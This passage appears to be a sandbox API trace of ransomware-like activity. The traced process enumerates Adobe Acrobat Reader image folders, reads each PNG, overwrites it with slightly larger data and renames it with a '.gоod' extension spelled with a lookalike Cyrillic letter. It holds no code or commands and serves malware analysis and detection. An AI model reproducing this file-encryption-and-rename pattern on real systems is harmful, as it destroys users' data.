[0247.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8fc201d6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0247.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0247.546] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.gоod")) returned 1 [0247.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ecc90) returned 1 [0247.584] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes", nBufferLength=0x105, lpBuffer=0x208ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes", lpFilePart=0x0) returned 0x77 [0247.584] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\*", lpFindFileData=0x208ec9b0 | out: lpFindFileData=0x208ec9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0247.584] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.584] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0247.584] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0247.584] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0247.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecbd0) returned 1 [0247.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecb90) returned 1 [0247.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ecc90) returned 1 [0247.585] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes", nBufferLength=0x105, lpBuffer=0x208ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes", lpFilePart=0x0) returned 0x77 [0247.585] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\*", lpFindFileData=0x208ec9b0 | out: lpFindFileData=0x208ec9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0247.585] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.585] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0247.585] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.585] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0247.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecbd0) returned 1 [0247.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecb90) returned 1 [0247.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0247.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark", lpFilePart=0x0) returned 0x7c [0247.586] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0247.587] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.587] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0247.587] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0247.587] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0247.588] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0247.588] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0247.588] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0247.588] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.588] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0247.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0247.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0247.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0247.588] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark", lpFilePart=0x0) returned 0x7c [0247.588] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0247.589] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.589] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0247.589] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0247.589] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0247.589] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0247.590] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0247.590] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0247.590] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0247.590] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0247.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0247.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0247.590] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", lpFilePart=0x0) returned 0x8e [0247.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0247.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x38fd010 | out: lpFileInformation=0x38fd010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0247.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0247.591] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", lpFilePart=0x0) returned 0x8e [0247.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0247.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.591] GetFileType (hFile=0x82c) returned 0x1 [0247.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0247.591] GetFileType (hFile=0x82c) returned 0x1 [0247.591] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x2ab [0247.591] ReadFile (in: hFile=0x82c, lpBuffer=0x38fd698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38fd698*, lpNumberOfBytesRead=0x208ebf98*=0x2ab, lpOverlapped=0x0) returned 1 [0247.592] CloseHandle (hObject=0x82c) returned 1 [0247.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", lpFilePart=0x0) returned 0x8e [0247.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0247.619] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.619] GetFileType (hFile=0x82c) returned 0x1 [0247.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0247.620] GetFileType (hFile=0x82c) returned 0x1 [0247.620] WriteFile (in: hFile=0x82c, lpBuffer=0x3975ad0*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3975ad0*, lpNumberOfBytesWritten=0x208ebea8*=0x2b0, lpOverlapped=0x0) returned 1 [0247.620] CloseHandle (hObject=0x82c) returned 1 [0247.620] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png", lpFilePart=0x0) returned 0x8e [0247.620] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.gоod", lpFilePart=0x0) returned 0x93 [0247.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0247.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8fcded3f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, 